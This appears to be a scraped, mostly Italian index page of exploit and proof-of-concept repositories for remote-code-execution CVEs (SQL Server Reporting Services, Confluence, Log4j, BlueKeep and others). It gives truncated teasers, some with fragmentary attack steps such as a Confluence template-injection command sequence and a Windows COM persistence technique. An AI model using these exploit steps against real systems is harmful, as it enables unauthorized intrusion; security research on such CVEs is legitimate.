CVE-2020-0618

CVE-2020-0618 RCE in SQL Server Reporting Services CVE-2020-0618 Verifica della vulnerabilità POC È possibile inviare la seguente richiesta HTTP al server per sfruttare l'applicazione: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type:...

nate158g-m-w-n-l-p-d-a-o-e

nate158g-m-w-n-l-p-d-a-o-e Questo modulo richiede Metasploit: https://metasploit.com/download Sorgente corrente: https://github.com/rapid7/metasploit-framework class MetasploitModule 'Wordpress Popular Posts Authenticated RCE', 'Description' = %q This exploit requires Metasploit to have a FQDN an...

Nginx-Rift

NGINX Rift RCE Proof of concept for CVE-2026-42945 , a critical heap buffer overflow in NGINX's ngxhttprewritemodule introduced in 2008. The bug enables unauthenticated remote code execution against servers using rewrite and set directives. This vulnerability — along with three other memory...

HFS_EXPLOIT_PROJECT

HFSEXPLOITPROJECT Metasploit RCE su HFS 2.3 - CVE-2014-62 🔖 Titolo del Progetto root@kitploit: Esecuzione di codice remoto tramite HTTP File Server HFS 2.3 ⚙ Strumenti Utilizzati • Kali Linux • Nmap • Metasploit • Target: HFS 2.3 su Windows 7 🔐 Dettagli della Vulnerabilità • Nome: CVE-2014-6287 •...

CVE-2025-60655

CVE-2025-60655 - Esecuzione di codice in remoto RCE tramite upload senza restrizioni | ---|--- Ricercatori| DotAdrien Gravità| 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Software...

List-CVE-2025-2026

CVE-2025-69412 - O KDE messagelib anterior à versão 25.11.90 ignora erros SSL para threatMatches:find na API Google Safe Browsing Lookup também conhecida como API de phishing, o que pode permitir ... 2. CVE-2025-69413 - No Gitea anterior à versão 1.25.2, /api/v1/user tem respostas diferentes...

RightHand-Persistence

RightHand Persistence ispirato da CVE-2026-21509 Gestore del menu contestuale COM in C++ per la persistenza Un'implementazione di esempio di un gestore del menu contestuale di Windows utilizzando C++ e COM, che dimostra una tecnica di persistenza furtiva. Registrando un oggetto COM personalizzato...

CVE-2021-41773-RedTeam

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE Dipartimento Cybersecurity ITSOLERA — Red Team Task 3 Team: Offensive Team Zeta Data: 18 marzo 2026 ⚠️ Disclaimer Questo repository è solo a scopo educativo. Tutti i test sono stati eseguiti in un laboratorio Docker locale isolato. No...

cve-2020-11651

CVE-2020-11651 Dies ist ein POC für CVE-2020-11651, der eine Pre-Auth-RCE auf einem Salt-Stack-Master und/oder allen zugehörigen Minions ermöglicht. Einige leichte Details zu dem Problem gibt es hier. POC für 2020-11652 ist nicht enthalten. Dies ermöglicht die Befehlsausführung auf dem Master,...

CVE-2011-2523-exploit

Exploit CVE-2011-2523 Backdoor vsFTPd 2.3.4 Questo progetto dimostra lo sfruttamento della vulnerabilità backdoor vsFTPd 2.3.4 CVE-2011-2523 usando Python e pwntools. Disclaimer: Questo progetto è solo a scopo educativo e per test di penetrazione autorizzati. NON usarlo contro sistemi senza...

CVE-2025-47812

CVE-2025-47812 — Wing FTP Server Unauthenticated RCE root@kitploit: ██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗ ██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗ ██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝ ██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝ ╚███╔███╔╝██║██║...

RCE_CVE-2024-7954

RCECVE-2024-7954 Descrizione: Il plugin porteplume utilizzato da SPIP prima delle versioni 4.30-alpha2, 4.2.13 e 4.1.16 è vulnerabile a un'esecuzione di codice arbitrario. Un attaccante remoto e non autenticato può eseguire PHP arbitrario come utente SPIP inviando una richiesta HTTP appositamente...

Exploit_CVE-2025-47812

WingFTPServer7.4.3-UnauthenticatedRCE...

CVE-2018-7600-Drupal-RCE

CVE-2018-7600 Drupal RCE Crediti a: File| Versione Drupal| Fonte| Commento ---|---|---|--- poc0-curl.sh| 8| https://twitter.com/ibo0om/status/984674893768921089 https://twitter.com/IamSecurity/status/984977193565646848 https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708| poc1-a2u.py|...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、metti il cmd.vm sul tuo sito web deve usare ftp o https, http non funziona 2、modifica RCEexp.py，cambia filename = 'ftp://1.1.1.1/cmd.vm' （python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py...

Log4J-RCE-Proof-Of-Concept

Log4J-RCE-Proof-Of-Concept CVE-2021-44228 Questa è una proof of concept della RCE di log4j. Ecco alcuni link per la CVE-2021-44228: https://www.lunasec.io/docs/blog/log4j-zero-day https://github.com/advisories/GHSA-jfh8-c2jp-5v3q https://github.com/apache/logging-log4j2/pull/608...

go-exploit

go-exploit: Go Exploit Framework go-exploit is an exploit development framework for Go. The framework helps exploit developers create small, self-contained, portable, and consistent exploits. The framework was developed to simplify large scale scanning, exploitation, and integration with other...

CVE-2019-0708

CVE-2019-0708 BlueKeep POC RCE pre-autenticazione su Windows7 Questo repository dimostra il bug di esecuzione di codice remoto in Windows Remote Desktop Services RDS. Qui sono presenti un codice POC e un rapporto tecnico sulla vulnerabilità BlueKeep, che abbiamo sviluppato in precedenza. NOTA: Il...

CVE-2026-64638

CVE-2026-64638 — XSS2Shell: XSS pre-autenticazione nella pagina di login di WordPress → RCE sul server Mirror di distribuzione HackSpeak. Questo repository è un mirror distributivo del PoC didattico XSS2Shell CVE-2026-64638 pubblicato da WordSec , con codice identico all'upstream; l'upstream è MI...

git-vuln-finder

git-vuln-finder Finding potential software vulnerabilities from git commit messages. The output format is a JSON with the associated commit which could contain a fix regarding a software vulnerability. The search is based on a set of regular expressions against the commit messages only. If CVE ID...